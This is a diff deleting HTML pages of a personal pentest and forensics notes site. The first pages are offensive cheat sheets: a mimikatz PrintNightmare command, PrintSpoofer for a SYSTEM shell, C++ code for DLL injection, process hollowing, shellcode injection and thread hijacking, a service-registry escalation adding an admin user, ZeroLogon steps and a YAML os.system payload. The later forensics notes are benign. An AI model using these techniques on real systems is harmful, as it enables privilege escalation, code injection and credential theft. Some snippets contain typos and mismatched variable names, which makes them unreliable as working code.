  • Use the meterpreter session
    • -
-

Mimikatz

-
    -
  • Printnightmare modules of mimikatz
    • -
-
misc::printnightmare /target:<domain.com> /authuser:<lowpriv_user> /authpassword:<password> /library:\\<domain.com>\path\to\printnightmare.dll
-
- -

IOCs

-
    -
  • pcAddPrinterDriverEx() is called
    • -
  • Sygnia explains them
    • -
  • -

    Splunk queries

    -
    • -
  • -

    Logs are Microsoft-Windows-PrintService/Admin and Microsoft-Windows-PrintService/Operational

    -
    • -
  • Event Ids 316, 808, 811, 31017, 7031
    • -
-

Mitigation

-
    -
  • link
    • -
  • Stop and disable
    • -
-
Stop-Service -Name Spooler -Force
-Set-Service -Name Spooler -StartupType Disabled
-
- -
    -
  • Disable group policy
    • -
-
Computer Configuration/Administrative Templates/Printers
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/windows/print_nightmare/printspoofer/README.html b/build/exploit/windows/print_nightmare/printspoofer/README.html deleted file mode 100644 index e1747a6..0000000 --- a/build/exploit/windows/print_nightmare/printspoofer/README.html +++ /dev/null @@ -1,182 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

printspoofer

-

PrintSpoofer exploit that can be used to escalate service user permissions on Windows Server 2016, Server 2019, and Windows 10.

-

To escalate privileges, the service account must have SeImpersonate privileges. To execute:

-
PrintSpoofer.exe -i -c cmd
-
- -

With appropriate privileges this should grant system user shell access.

- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/windows/process_injection/dll_injection.html b/build/exploit/windows/process_injection/dll_injection.html deleted file mode 100644 index 2ad74df..0000000 --- a/build/exploit/windows/process_injection/dll_injection.html +++ /dev/null @@ -1,253 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

DLL Injection

-
DWORD getProcessId(const char *processName) {
-    HANDLE hSnapshot = CreateToolhelp32Snapshot( // Snapshot the specificed process
-            TH32CS_SNAPPROCESS, // Include all processes residing on the system
-            0 // Indicates the current process
-        );
-    if (hSnapshot) {
-        PROCESSENTRY32 entry; // Adds a pointer to the PROCESSENTRY32 structure
-        entry.dwSize = sizeof(PROCESSENTRY32); // Obtains the byte size of the structure
-        if (Process32First( // Obtains the first process in the snapshot
-                    hSnapshot, // Handle of the snapshot
-                    &entry // Pointer to the PROCESSENTRY32 structure
-                )) {
-            do {
-                if (!strcmp( // Compares two strings to determine if the process name matches
-                                    entry.szExeFile, // Executable file name of the current process from PROCESSENTRY32
-                                    processName // Supplied process name
-                                )) { 
-                    return entry.th32ProcessID; // Process ID of matched process
-                }
-            } while (Process32Next( // Obtains the next process in the snapshot
-                            hSnapshot, // Handle of the snapshot
-                            &entry
-                        )); // Pointer to the PROCESSENTRY32 structure
-        }
-    }
-
-DWORD processId = getProcessId(processName); // Stores the enumerated process ID
-
- -
    -
  • Open Process
    • -
-
HANDLE hProcess = OpenProcess(
-    PROCESS_ALL_ACCESS, // Requests all possible access rights
-    FALSE, // Child processes do not inheret parent process handle
-    processId // Stored process ID
-);
-
- -
    -
  • Allocate memory
    • -
-
LPVOID dllAllocatedMemory = VirtualAllocEx(
-    hProcess, // Handle for the target process
-    NULL, 
-    strlen(dllLibFullPath), // Size of the DLL path
-    MEM_RESERVE | MEM_COMMIT, // Reserves and commits pages
-    PAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
-);
-
- -
    -
  • Write to memory
    • -
-
WriteProcessMemory(
-    hProcess, // Handle for the target process
-    dllAllocatedMemory, // Allocated memory region
-    dllLibFullPath, // Path to the malicious DLL
-    strlen(dllLibFullPath) + 1, // Byte size of the malicious DLL
-    NULL
-);
-
- -
LPVOID loadLibrary = (LPVOID) GetProcAddress(
-    GetModuleHandle("kernel32.dll"), // Handle of the module containing the call
-    "LoadLibraryA" // API call to import
-);
-HANDLE remoteThreadHandler = CreateRemoteThread(
-    hProcess, // Handle for the target process
-    NULL, 
-    0, // Default size from the execuatable of the stack
-    (LPTHREAD_START_ROUTINE) loadLibrary, pointer to the starting function
-    dllAllocatedMemory, // pointer to the allocated memory region
-    0, // Runs immediately after creation
-    NULL
-);
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/windows/process_injection/process_hollowing.html b/build/exploit/windows/process_injection/process_hollowing.html deleted file mode 100644 index 93693c0..0000000 --- a/build/exploit/windows/process_injection/process_hollowing.html +++ /dev/null @@ -1,341 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Process Hollowing

-
    -
  • Target process which is in suspended state has to be created
    • -
-
LPSTARTUPINFOA target_si = new STARTUPINFOA(); // Defines station, desktop, handles, and appearance of a process
-LPPROCESS_INFORMATION target_pi = new PROCESS_INFORMATION(); // Information about the process and primary thread
-CONTEXT c; // Context structure pointer
-
-if (CreateProcessA(
-    (LPSTR)"C:\\\\Windows\\\\System32\\\\svchost.exe", // Name of module to execute
-    NULL,
-    NULL,
-    NULL,
-    TRUE, // Handles are inherited from the calling process
-    CREATE_SUSPENDED, // New process is suspended
-    NULL,
-    NULL,
-    target_si, // pointer to startup info
-    target_pi) == 0) { // pointer to process information
-    cout << "[!] Failed to create Target process. Last Error: " << GetLastError();
-    return 1;
-
- -
    -
  • Malicious image has to be opened
    • -
-
HANDLE hMaliciousCode = CreateFileA(
-    (LPCSTR)"C:\\\\Users\\\\tryhackme\\\\malware.exe", // Name of image
-    GENERIC_READ, // Read-only access
-    FILE_SHARE_READ, // Read-only share mode
-    NULL,
-    OPEN_EXISTING, // Instructed to open a file or device if it exists
-    NULL,
-    NULL
-);
-
- -
    -
  • Unmap memory from the process
    • -
-
c.ContextFlags = CONTEXT_INTEGER; // Only stores CPU registers in the pointer
-GetThreadContext(
-    target_pi->hThread, // Handle to the thread obtained from the PROCESS_INFORMATION structure
-    &c // Pointer to store retrieved context
-); // Obtains the current thread context
-
-PVOID pTargetImageBaseAddress; 
-ReadProcessMemory(
-    target_pi->hProcess, // Handle for the process obtained from the PROCESS_INFORMATION structure
-    (PVOID)(c.Ebx + 8), // Pointer to the base address
-    &pTargetImageBaseAddress, // Store target base address 
-    sizeof(PVOID), // Bytes to read 
-    0 // Number of bytes out
-);
-
- -
    -
  • Allocate and write into the memory unmapped
    • -
-
DWORD maliciousFileSize = GetFileSize(
-    hMaliciousCode, // Handle of malicious image
-    0 // Returns no error
-);
-
-PVOID pMaliciousImage = VirtualAlloc(
-    NULL,
-    maliciousFileSize, // File size of malicious image
-    0x3000, // Reserves and commits pages (MEM_RESERVE | MEM_COMMIT)
-    0x04 // Enables read/write access (PAGE_READWRITE)
-);
-
- -
DWORD numberOfBytesRead; // Stores number of bytes read
-
-if (!ReadFile(
-    hMaliciousCode, // Handle of malicious image
-    pMaliciousImage, // Allocated region of memory
-    maliciousFileSize, // File size of malicious image
-    &numberOfBytesRead, // Number of bytes read
-    NULL
-    )) {
-    cout << "[!] Unable to read Malicious file into memory. Error: " <<GetLastError()<< endl;
-    TerminateProcess(target_pi->hProcess, 0);
-    return 1;
-}
-
-CloseHandle(hMaliciousCode);
-
- -
    -
  • Get handle of dll
    • -
-
HMODULE hNtdllBase = GetModuleHandleA("ntdll.dll"); // Obtains the handle for ntdll
-pfnZwUnmapViewOfSection pZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(
-    hNtdllBase, // Handle of ntdll
-    "ZwUnmapViewOfSection" // API call to obtain
-); // Obtains ZwUnmapViewOfSection from ntdll
-
-DWORD dwResult = pZwUnmapViewOfSection(
-    target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure
-    pTargetImageBaseAddress // Base address of the process
-);
-
- -
    -
  • Allocate memory for the target process
    • -
-
PIMAGE_DOS_HEADER pDOSHeader = (PIMAGE_DOS_HEADER)pMaliciousImage; // Obtains the DOS header from the malicious image
-PIMAGE_NT_HEADERS pNTHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)pMaliciousImage + pDOSHeader->e_lfanew); // Obtains the NT header from e_lfanew
-
-DWORD sizeOfMaliciousImage = pNTHeaders->OptionalHeader.SizeOfImage; // Obtains the size of the optional header from the NT header structure
-
-PVOID pHollowAddress = VirtualAllocEx(
-    target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure
-    pTargetImageBaseAddress, // Base address of the process
-    sizeOfMaliciousImage, // Byte size obtained from optional header
-    0x3000, // Reserves and commits pages (MEM_RESERVE | MEM_COMMIT)
-    0x40 // Enabled execute and read/write access (PAGE_EXECUTE_READWRITE)
-);
-
- -
    -
  • Write to the process memory
    • -
-
if (!WriteProcessMemory(
-    target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure
-    pTargetImageBaseAddress, // Base address of the process
-    pMaliciousImage, // Local memory where the malicious file resides
-    pNTHeaders->OptionalHeader.SizeOfHeaders, // Byte size of PE headers 
-    NULL
-)) {
-    cout<< "[!] Writting Headers failed. Error: " << GetLastError() << endl;
-}
-
- -
for (int i = 0; i < pNTHeaders->FileHeader.NumberOfSections; i++) { // Loop based on number of sections in PE data
-    PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((LPBYTE)pMaliciousImage + pDOSHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER))); // Determines the current PE section header
-
-    WriteProcessMemory(
-        target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure
-        (PVOID)((LPBYTE)pHollowAddress + pSectionHeader->VirtualAddress), // Base address of current section 
-        (PVOID)((LPBYTE)pMaliciousImage + pSectionHeader->PointerToRawData), // Pointer for content of current section
-        pSectionHeader->SizeOfRawData, // Byte size of current section
-        NULL
-    );
-}
-
- -
    -
  • Set entrypoint
    • -
-
c.Eax = (SIZE_T)((LPBYTE)pHollowAddress + pNTHeaders->OptionalHeader.AddressOfEntryPoint); // Set the context structure pointer to the entry point from the PE optional header
-
-SetThreadContext(
-    target_pi->hThread, // Handle to the thread obtained from the PROCESS_INFORMATION structure
-    &c // Pointer to the stored context structure
-);
-
- -
    -
  • Switch process state to running
    • -
-
ResumeThread(
-    target_pi->hThread // Handle to the thread obtained from the PROCESS_INFORMATION structure
-);
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/windows/process_injection/shellcode_injection.html b/build/exploit/windows/process_injection/shellcode_injection.html deleted file mode 100644 index abc4eb3..0000000 --- a/build/exploit/windows/process_injection/shellcode_injection.html +++ /dev/null @@ -1,238 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Process Injection

-

Shellcode injection

-
    -
  • Open a process
    • -
-
processHandle = OpenProcess(
-    PROCESS_ALL_ACCESS, // Defines access rights
-    FALSE, // Target handle will not be inhereted
-    DWORD(atoi(argv[1])) // Local process supplied by command-line arguments 
-);
-
- -
    -
  • Allocate memory
    • -
-
remoteBuffer = VirtualAllocEx(
-    processHandle, // Opened target process
-    NULL, 
-    sizeof shellcode, // Region size of memory allocation
-    (MEM_RESERVE | MEM_COMMIT), // Reserves and commits pages
-    PAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
-);
-
- -
    -
  • Write shellcode to memory allocated
    • -
-
WriteProcessMemory(
-    processHandle, // Opened target process
-    remoteBuffer, // Allocated memory region
-    shellcode, // Data to write
-    sizeof shellcode, // byte size of data
-    NULL
-);
-
- -
    -
  • Execute shellcode inside a created thread
    • -
-
remoteThread = CreateRemoteThread(
-    processHandle, // Opened target process
-    NULL, 
-    0, // Default size of the stack
-    (LPTHREAD_START_ROUTINE)remoteBuffer, // Pointer to the starting address of the thread
-    NULL, 
-    0, // Ran immediately after creation
-    NULL
-);
-
- -
    -
  • Compile
    • -
  • Check processes via
    • -
-
Get-Process -IncludeUserName
-
- -
    -
  • Run on process ID as argv1
    • -
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/windows/process_injection/thread_hijacking.html b/build/exploit/windows/process_injection/thread_hijacking.html deleted file mode 100644 index 0d51607..0000000 --- a/build/exploit/windows/process_injection/thread_hijacking.html +++ /dev/null @@ -1,257 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Thread Hijacking

-
    -
  • Open process, allocate and write memory
    • -
-
HANDLE hProcess = OpenProcess(
-    PROCESS_ALL_ACCESS, // Requests all possible access rights
-    FALSE, // Child processes do not inheret parent process handle
-    processId // Stored process ID
-);
-PVOIF remoteBuffer = VirtualAllocEx(
-    hProcess, // Opened target process
-    NULL, 
-    sizeof shellcode, // Region size of memory allocation
-    (MEM_RESERVE | MEM_COMMIT), // Reserves and commits pages
-    PAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
-);
-WriteProcessMemory(
-    processHandle, // Opened target process
-    remoteBuffer, // Allocated memory region
-    shellcode, // Data to write
-    sizeof shellcode, // byte size of data
-    NULL
-);
-
- -
    -
  • Snapshot the process and get the first thread
    • -
-
THREADENTRY32 threadEntry;
-
-HANDLE hSnapshot = CreateToolhelp32Snapshot( // Snapshot the specificed process
-    TH32CS_SNAPTHREAD, // Include all processes residing on the system
-    0 // Indicates the current process
-);
-Thread32First( // Obtains the first thread in the snapshot
-    hSnapshot, // Handle of the snapshot
-    &threadEntry // Pointer to the THREADENTRY32 structure
-);
-
-while (Thread32Next( // Obtains the next thread in the snapshot
-    snapshot, // Handle of the snapshot
-    &threadEntry // Pointer to the THREADENTRY32 structure
-)) {
-
- -
    -
  • Get Pointer to the thread
    • -
-
if (threadEntry.th32OwnerProcessID == processID) // Verifies both parent process ID's match
-        {
-            HANDLE hThread = OpenThread(
-                THREAD_ALL_ACCESS, // Requests all possible access rights
-                FALSE, // Child threads do not inheret parent thread handle
-                threadEntry.th32ThreadID // Reads the thread ID from the THREADENTRY32 structure pointer
-            );
-            break;
-        }
-
- -
    -
  • Suspend threat ,get context and change $rip
    • -
-
SuspendThread(hThread);
-CONTEXT context;
-GetThreadContext(
-    hThread, // Handle for the thread 
-    &context // Pointer to store the context structure
-);
-context.Rip = (DWORD_PTR)remoteBuffer; // Points RIP to our malicious buffer allocation
-
- -
    -
  • Set context and resume the thread
    • -
-
SetThreadContext(
-    hThread, // Handle for the thread 
-    &context // Pointer to the context structure
-);
-ResumeThread(
-    hThread // Handle for the thread
-);
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/windows/service_escalation/service_escalation.html b/build/exploit/windows/service_escalation/service_escalation.html deleted file mode 100644 index 7044efa..0000000 --- a/build/exploit/windows/service_escalation/service_escalation.html +++ /dev/null @@ -1,200 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Service Escalation

-
    -
  • Check service control permission
    • -
-
Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc | fl
-
- -
    -
  • Add command to system() function inside service.c, e.g. add user to administrators group
    • -
-
cmd.exe /k net localgroup administrators user /add
-
- -
    -
  • Compile via
    • -
-
x86_64-w64-mingw32-gcc service.c service.exe
-
- -
    -
  • Upload to target and
    • -
-
reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\Temp\service.exe /f
-sc start regsvc
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/windows/zero_logon/zero_logon.html b/build/exploit/windows/zero_logon/zero_logon.html deleted file mode 100644 index 7437449..0000000 --- a/build/exploit/windows/zero_logon/zero_logon.html +++ /dev/null @@ -1,246 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Zero Logon

-

CVE-2020-1472

-

MS-NRPC (Microsoft NetLogon Remote Protocol)

-
    -
  • ComputeNetlogonCredential
    • -
  • IV is 0 of AES-CFB8
    • -
  • Machine accounts got no limit on failed login attempts (64 bit alnum password)
    • -
-

Kill Chain

-

Zero Logon to bypass authentication on the Domain Controller's Machine Account -> Run Secretsdump.py to dump credentials -> Crack/Pass Domain Admin Hashes -> ??? -> Profit

-

MS-NRPC Logon

-
    -
  • Netlogon handshake between Client (domain-joined computer) and Server (domain-controller).
    • -
  • RPC traffic
    • -
-
sequenceDiagram
-    participant Client
-    participant Server
-Client ->> Server: Client challenge
-Server ->> Client: Server challenge, Session Key = KDF(secret, challenges)
-Client ->> Server: Client credential, Encrypt(K_sess, client challenge)
-Server ->> Client: Client credential, Encrypt(K_sess, client challenge)
-Client ->> Server: Signed + sealed with session key: Procedure call with authenticator
-
- -
    -
  • Zero Logon attack. Zeroing parameters and retrying handshakes with an empty password on the domain controller.
    • -
-
sequenceDiagram
-    participant Client
-    participant Server
-Client ->> Server: NetrServerReqChallenge (challenge=0000...00)
-Server ->> Client: Server Challenge
-Client ->> Server: NetrServerAuthenticate3 (identity=DC; credential=0000...00; sign/seal=0)
-Server ->> Client: OK
-Client ->> Server: NetrServerPasswordSet2 (target=DC; authenticator=0000...00; timestamp=0; enc.password=0000...00)
-
- -
    -
  1. Client sends 16 Bytes of 0 as Nonce to domain-controller
    2. -
  2. Server receives NetServerReqChallenge and generates challenge (Nonce). Sends it to the client.
    3. -
  3. -

    NetrServerAuthenticate3 method is generated as NetLogon credentials. Contains the following

    -
      -
    1. Custom Binding Handle
      2. -
    2. Account Name
      3. -
    3. Secure Channel Type, nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
      4. -
    4. Computer Name, Domain Controller DC01
      5. -
    5. Client Credential String, 16 Bytes of \x00
      6. -
    6. Negotiation Flags, value observed from a Win10 client with Sign/Seal flags disabled: 0x212fffff Provided by Secura
      7. -
    -
    4. -
  4. -

    NetrServerAuthenticate is received by server. Responds success if positive to the client.

    -
    5. -
  5. If same values is calculated by the server, mutual agreement is confirmed by the client as well.
    6. -
-

PoC

- - -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/yaml/deserialization.html b/build/exploit/yaml/deserialization.html deleted file mode 100644 index 065e02a..0000000 --- a/build/exploit/yaml/deserialization.html +++ /dev/null @@ -1,194 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

YAML Deserialization

- -

Usage

-
    -
  • Example Payload insid foo.yaml gets executed via Python
    • -
-
!!python/object/apply:os.system ["id"]
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/favicon.ico b/build/favicon.ico deleted file mode 100644 index e69de29..0000000 diff --git a/build/forensics/ios.html b/build/forensics/ios.html deleted file mode 100644 index 4019acd..0000000 --- a/build/forensics/ios.html +++ /dev/null @@ -1,214 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

iOS Devices

-

Trust Certificates

-
    -
  • Exchanged between 'Trusted' devices and the charging iOS device.
    • -
  • iTunes access to the iOS device has elevated permissions using the cert.
    • -
  • Keychain may be extracted through iTunes.
    • -
-

Interesting Files

-
    -
  • ResetCounter.plist, hard Reset diagnostic counter
    • -
  • com.apple.preferences.datetime.plist
    • -
  • DB tables
      -
    • Atendee
      • -
    • Task
      • -
    • Event
      • -
    -
    • -
  • Mail
    • -
  • Safari
    • -
  • Cookies
    • -
  • Pictures
    • -
  • Addressbook
    • -
  • SMS
    • -
  • Voicemail
    • -
  • WiFi Keys
    • -
-

Backups

-

Encrypted and unencrypted backups can be chosen in the iTunes menu.

-

Tools

- - -
-
- - - - - - - \ No newline at end of file diff --git a/build/forensics/kape.html b/build/forensics/kape.html deleted file mode 100644 index 01c3fbf..0000000 --- a/build/forensics/kape.html +++ /dev/null @@ -1,199 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Kroll Artifact Parser

-
    -
  • Collect and processes artifacts on windows
    • -
  • Collects from live systems, mounted images and F-response tool
    • -
-

Targets

-
    -
  • Needs source and target directory, as well as a module to process the files on
    • -
  • Target copies a file into a repository
    • -
  • *.tkape files contains metadata of the files to copy
    • -
  • Compound Targets contain metadata of multiple files in order to get a result quicker
    • -
  • !Disable do not appear in the target list
    • -
  • !Local keep on local
    • -
-

Modules

-
    -
  • Used on the targeted files
    • -
  • *.mkape files
    • -
  • Additional binaries are kept in bin
    • -
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/forensics/ntfs.html b/build/forensics/ntfs.html deleted file mode 100644 index f32887b..0000000 --- a/build/forensics/ntfs.html +++ /dev/null @@ -1,231 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

NTFS

-
    -
  • Has the following advantages over FAT
      -
    • Journaling
      • -
    • ACL
      • -
    • Volume Shadow Copy
      • -
    • Alternate Data Stream
      • -
    -
    • -
-

Master File Table

-
    -
  • VBR references to $MFT
    • -
  • $LOGFILE stores transactions of the file system
    • -
  • $UsnJrnl changed files, and reason for change
    • -
-

Caching

-
    -
  • File information is cached for frequent use in
    • -
-
C:\Windows\Prefetch\*.pf
-
- -
    -
  • An SQLite database can be found under
    • -
-
C:\Users\<username>\AppData\Local\ConnectedDevicesPlatform\{randomfolder}\ActivitiesCache.db
-
- -

Jumplist

-
    -
  • Stores recently used files of applications inside the taskbar
    • -
-
C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations
-
- -

Shortcut Files

-
C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Recent\
-C:\Users\<username>\AppData\Roaming\Microsoft\Office\Recent\
-
- -

Internet Explorer History

-
C:\Users\<username>\AppData\Local\Microsoft\Windows\WebCache\WebCacheV*.dat
-
- -

Removeable Device Setup Log

-
C:\Windows\inf\setupapi.dev.log
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/forensics/oletools.html b/build/forensics/oletools.html deleted file mode 100644 index f0d1335..0000000 --- a/build/forensics/oletools.html +++ /dev/null @@ -1,214 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

oletools & Vmonkey

- -

Usage

-
    -
  • Check content of a stream
    • -
-
oledump.py file.doc  -Ss <No. of stream>
-oledump.py file.doc  -Ss <No. of stream> -v
-
- -
oledump.py -i file.doc
-
- -
olevba file.doc
-
- -

Vipermonkey

-
    -
  • For the lazy ones
    • -
-
vmonkey file.doc
-
- -

scdbg

- - -
-
- - - - - - - \ No newline at end of file diff --git a/build/forensics/volatility.html b/build/forensics/volatility.html deleted file mode 100644 index deb6e01..0000000 --- a/build/forensics/volatility.html +++ /dev/null @@ -1,219 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Volatility

- -
volatility -f <file.iso> imageinfo
-volatility -f <file.iso> kdbgscan
-
- -
    -
  • Process list
    • -
-
volatility -f <file.iso> --profile <OSprofile> pslist
-
- -
    -
  • List dlls
    • -
-
volatility -f <file.iso> --profile <OSprofile> dlllist -p <PID>
-
- -
    -
  • Last accessed dir
    • -
-
volatility -f <file.iso> --profile <OSprofile> shellbags
-
- -

Plugins

-
    -
  • For example
      -
    • Truecryptpassphrase
      • -
    • cmdscan, command history
      • -
    • shutdowntime
      • -
    -
    • -
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/forensics/windows_registry.html b/build/forensics/windows_registry.html deleted file mode 100644 index df5234a..0000000 --- a/build/forensics/windows_registry.html +++ /dev/null @@ -1,361 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Windows Registry

-

Regedit Keys

-
    -
  • HKEY_CURRENT_USER (HKCU), inside HKU
    • -
  • HKEY_USERS (HKU)
    • -
  • HKEY_LOCAL_MACHINE (HKLM)
    • -
  • HKEY_CLASSES_ROOT (HKCR), stored in HKLM and HKU
      -
    • HKEY_CURREN_USER\Software\Classes for settings of interactive user
      • -
    • HKEY_LOCAL_MACHINE\Software\Classes to change default settings
      • -
    -
    • -
  • HKEY_CURRENT_CONFIG
    • -
-

Paths

-
    -
  • -

    C:\Windows\System32\Config

    -
      -
    • Default -> HKEY_USERS\DEFAULT
      • -
    • SAM -> HKEY_LOCAL_MACHINE\SAM
      • -
    • SECURITY -> HKEY_LOCAL_MACHINE\Security
      • -
    • SOFTWARE -> HKEY_LOCAL_MACHINE\Software
      • -
    • SYSTEM -> HKEY_LOCAL_MACHINE\System
      • -
    -
    • -
  • -

    C:\Users\<username>\

    -
      -
    • NTUSER.DAT -> HKEY_CURRENT_USER , hidden file
      • -
    -
    • -
  • -

    C:\Users\<username>\AppData\Local\Microsoft\Windows

    -
      -
    • USRCLASS.DAT -> HKEY_CURRENT_USER\Sofware\CLASSES, hidden file
      • -
    -
    • -
  • -

    C:\Windows\AppCompat\Programs\Amcache.hve

    -
    • -
-

Transaction Logs

-
    -
  • Transaction <name of registry hive>.LOG of the registry hive
    • -
  • Saved inside the same directory which is C:\Windows\System32\Config, as the hive which was altered.
    • -
-

Backups

-
    -
  • Saved every ten days
    • -
  • Look out for recently deleted or modified keys
    • -
  • C:\Windows\System32\Config\RegBack
    • -
-

Data Acquisition

-
    -
  • Tools
      -
    • Autopsy
      • -
    • FTK Imager, does not copy Amcache.hve
      • -
    • KAPE, preserves directory tree
      • -
    • Registry Viewer
      • -
    • Zimmerman's Registry Explorer, uses transaction logs as well
        -
      • AppCompatCache Parser
        • -
      -
      • -
    • RegRipper, cli and gui
      • -
    -
    • -
-

System Information

-
    -
  • OS Version -> SOFTWARE\Microsoft\Windows NT\CurrentVersion
    • -
  • Computer Name -> SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
    • -
  • Time Zone SYSTEM\CurrentControlSet\Control\TimeZoneInformation
    • -
  • Network Interfaces -> SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces
    • -
  • Past connected networks -> SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Unmanaged and SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Managed
    • -
  • Services -> SYSTEM\CurrentControlSet\Services
      -
    • Service will start at boot with start key value 0x02
      • -
    -
    • -
  • Users, SAM -> SAM\Domains\Account\Users
    • -
-

Control Sets

-
    -
  • ControlSet001 -> last boot
    • -
  • ControlSet002 -> last known good
    • -
  • -

    HKLM\SYSTEM\CurrentControlSet -> live

    -
    • -
  • -

    Can be found under:

    -
      -
    • SYSTEM\Select\Current shows the used control set
      • -
    • SYSTEM\Select\LastKnownGood
      • -
    -
    • -
-

Autostart Programs

-
    -
  • NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run
    • -
  • NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\RunOnce
    • -
  • SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
    • -
  • SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run
    • -
  • SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    • -
-

Recent Files

-
    -
  • NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs, e.g. xml, pdf, jpg
    • -
  • Office files -> NTUSER.DAT\Software\Microsoft\Office\VERSION, NTUSER.DAT\Software\Microsoft\Office\15.0\Word
    • -
  • Office 365 -> NTUSER.DAT\Software\Microsoft\Office\VERSION\UserMRU\LiveID_####\FileMRU
    • -
-

ShellBags

-
    -
  • USRCLASS.DAT\Local Settings\Software\Microsoft\Windows\Shell\Bags
    • -
  • USRCLASS.DAT\Local Settings\Software\Microsoft\Windows\Shell\BagMRU
    • -
  • NTUSER.DAT\Software\Microsoft\Windows\Shell\BagMRU
    • -
  • NTUSER.DAT\Software\Microsoft\Windows\Shell\Bags
    • -
-

Last Open/Saved/Visited Dialog MRUs

-
    -
  • NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSavePIDlMRU
    • -
  • NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LastVisitedPidlMRU
    • -
-

Explorer Address/Search Bars

-
    -
  • NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths
    • -
  • NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\WordWheelQuery
    • -
-

User Assist

-
    -
  • GUI applications launched by the user
    • -
  • NTUSER.DAT\Software\Microsoft\Windows\Currentversion\Explorer\UserAssist\{GUID}\Count
    • -
-

Shim Cache

-
    -
  • Application Compatibility, AppCompatCache
    • -
  • SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache
    • -
  • Use AppCompatCacheParser.exe --csv <path to save output> -f <path to SYSTEM hive for data parsing> -c <control set to parse>
    • -
-

AmCache

-
    -
  • Information about recently run applications on the system
    • -
  • C:\Windows\appcompat\Programs\Amcache.hve
    • -
  • Last executed app -> Amcache.hve\Root\File\{Volume GUID}\
    • -
  • Saves SHA1 of the last executed app
    • -
-

Background Activity Monitor/Desktop Activity Moderator BAM/DAM

-
    -
  • Saves full path of executed apps
